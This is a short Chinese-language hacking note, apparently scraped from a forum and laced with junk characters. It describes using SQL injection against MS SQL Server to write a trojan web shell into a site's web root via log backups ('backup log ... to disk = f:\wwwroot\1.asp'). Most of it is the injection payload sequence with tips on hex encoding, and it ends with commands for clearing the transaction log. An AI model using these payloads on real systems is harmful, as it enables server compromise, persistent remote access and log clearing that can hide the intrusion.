差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录

注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

* I% v; _# x& ?: Halter database 数据库名 set RECOVERY FULL--

' W2 A# }+ ^7 J; Z1 Acreate table cmd (a image)--                    \**cmd是创建的临时表

; M0 T7 S% H, e' [; lbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
. B) J1 t2 b& n7 q$ f, @* B
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
+ f+ h6 N; j6 V, u" p0 g
//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
" z8 W6 F+ \: G' d, X4 S# E$ Q! Z
% M" l$ I/ z6 F  adrop table cmd--


9 |: M3 @/ S' N7 ef:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
2 ]6 V7 j5 ]6 W0 P6 f1 S6 @: {
最好多加几个回车0d0a,要不会出错哈
. Q& {$ |) s$ L- B5 V

SQL   Server日志清空方法   

在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
* s- N6 X5 Y4 |* b9 r9 g( l1 x$ M1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

8 M9 ?9 t2 r' v7 h0 |4 f2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
0 ~5 i$ W7 \" Q8 N" K
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)   
; N7 H  F) ^6 `! \# J